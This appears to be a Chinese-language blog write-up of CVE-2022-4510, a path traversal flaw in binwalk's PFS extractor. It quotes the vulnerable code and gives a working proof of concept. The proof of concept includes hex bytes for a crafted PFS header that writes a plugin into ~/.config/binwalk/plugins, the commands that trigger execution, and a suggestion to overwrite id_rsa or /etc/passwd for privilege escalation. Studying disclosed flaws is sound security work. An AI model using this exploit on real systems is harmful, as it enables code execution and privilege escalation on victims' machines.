简介
根据cve官方描述,从版本2.1.2到 2.3.3的binwalk中发现了一个路径遍历漏洞。此漏洞允许远程攻击者在安装受影响的binwalk机子上执行任意代码
什么是PFS文件
PFS文件是由PhotoFiltre Studio(图像修饰程序)创建的选择文件。 它包含图像编辑器的多边形选择工具使用的坐标,以便在给定坐标之间绘制线。 PFS文件以纯文本格式存储。
PFS文件格式
https://lekensteyn.nl/files/pfs/pfs.txt
分析源代码
一个PFS提取器插件在2017年合并到了binwalk中,做了一下修改
def extractor(self, fname):
fname = os.path.abspath(fname)
out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))
try:
with PFS(fname) as fs: #读取pfs文件数据
data = open(fname, 'rb')
data = binwalk.core.common.BlockFile(fname, 'rb')
data.seek(fs.get_end_of_meta_data())
for entry in fs.entries():
outfile_path = os.path.join(out_dir, entry.fname)
if not outfile_path.startswith(out_dir):
binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
else:
self._create_dir_from_fname(outfile_path)
outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
outfile.write(data.read(entry.fsize))
outfile.close()
data.close()
except KeyboardInterrupt as e:
raise e
问题出现在os.path.join函数上,因为第11行的代码没有完全进行路径解析,所以第12行的条件就永远不会为真
通过制作一个路径遍历的PFS文件,我们可以强制binwalk在目录之外写入文件
POC
用户可以使用binwalk的 API 定义自己的插件,只需要把插件放在$HOME/.config/binwalk/plugins/目录下,之后运行binwalk时就会调用插件
恶意代码:
import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
print("baimao")
保存后用winhex打开文件
直接粘贴以下十六进制数据
5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
将.py保存为.pfs文件,然后添加到压缩包里
当从用户的主目录中用binwalk提取文件时,会在.config/binwalk/plugins加入一个插件,这个恶意插件随后会被 binwalk 加载和执行,从而导致 RCE
cd ~
binwalk -M -e exp.zip
成功执行代码
总结
今年1月31号才披露细节的cve,学习了一下,除了覆盖./.config/binwalk/plugins/malwalk.py文件,我们还可以覆盖id.rsa或者/etc/passwd文件来直接提权
参考文档:
https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk